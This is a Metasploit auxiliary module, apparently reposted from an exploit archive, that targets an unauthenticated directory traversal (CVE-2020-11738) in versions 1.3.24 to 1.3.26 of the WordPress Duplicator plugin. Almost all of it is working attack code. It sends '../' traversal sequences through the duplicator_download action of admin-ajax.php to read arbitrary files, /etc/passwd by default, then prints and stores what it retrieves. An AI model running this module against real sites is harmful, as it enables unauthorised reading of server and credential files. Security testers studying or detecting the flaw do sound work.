WordPress Duplicator 1.3.26 Directory Traversal / File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress Duplicator File Read Vulnerability',  
'Description' => %q{ This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin 'Duplicator' plugin version 1.3.24-1.3.26, allowing arbitrary file read with the web server privileges. This vulnerability was being actively exploited when it was discovered.},  
'References' =>  
[  
['CVE', '2020-11738'],  
['WPVDB', '10078'],  
['URL', 'https://snapcreek.com/duplicator/docs/changelog']  
],  
'Author' =>  
[  
'Ramuel Gall', # Vulnerability discovery  
'Hoa Nguyen - SunCSR Team' # Metasploit module  
],  
'DisclosureDate' => 'Feb 19 2020',  
'License' => MSF_LICENSE  
))  
register_options(  
[  
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),  
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 5])  
])  
end  
def check  
check_plugin_version_from_readme('duplicator_download','1.3.27', '1.3.24')  
end  
def run_host(ip)  
traversal = '../' * datastore['DEPTH']  
filename = datastore['FILEPATH']  
filename = filename[1, filename.length] if filename =~ /^\//  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path,'wp-admin', 'admin-ajax.php'),  
'vars_get' =>  
{  
'action' => 'duplicator_download',  
'file' => "#{traversal}#{filename}"  
}  
})  
fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200  
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?  
print_status('Downloading file...')  
print_line("\n#{res.body}\n")  
fname = datastore['FILEPATH']  
path = store_loot(  
'duplicator.traversal',  
'text/plain',  
ip,  
res.body,  
fname  
)  
print_good("File saved in: #{path}")  
end  
end  
  
`